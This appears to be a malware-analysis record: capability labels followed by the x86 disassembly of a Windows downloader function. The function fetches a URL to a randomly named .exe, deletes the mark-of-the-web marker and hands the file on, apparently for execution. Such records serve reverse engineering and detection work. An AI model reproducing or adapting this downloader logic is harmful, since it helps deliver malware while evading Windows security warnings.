Function at 0x4011c0
Capabilities:
Bypass mark of the web
Check for time delay via gettickcount
Create http request
Delete file
Download and write a file
Download url
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x848
mov eax, dword [0x404020]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
mov byte [ebp - 0x419], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
push 0x104
lea eax, [ebp - 0x418]
push eax
push 0x4032e0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x2710
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x418]
push edx
push 0x4032f0
lea eax, [ebp - 0x848]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_104.0.0.0_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 0
je 0x4013a8
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x63c]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
je 0x40139b
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x848]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0xffffffff
je 0x40138e
lea ecx, [ebp - 0x638]
push ecx
push 0x207
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401327
cmp dword [ebp - 0x638], 0
je 0x401327
push 0
lea ecx, [ebp - 0x634]
push ecx
mov edx, dword [ebp - 0x638]
push edx
lea eax, [ebp - 0x210]
push eax
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x4012d4
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x848]
push eax
push 0x4033e8
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x630]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x848]
push eax
call fcn.00401070
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x40138e
mov byte [ebp - 0x419], 1
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x63c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx edx, byte [ebp - 0x419]
test edx, edx
jne 0x401470
push 0x4baf0
call dword [sym.imp.KERNEL32.dll_Sleep]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x2710
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x418]
push edx
push str._s_d_d.exe
lea eax, [ebp - 0x848]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
lea ecx, [ebp - 0x848]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x401470
lea eax, [ebp - 0x848]
push eax
push 0x403428
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x630]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x848]
push eax
call fcn.00401070
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004017e4
mov esp, ebp
pop ebp
ret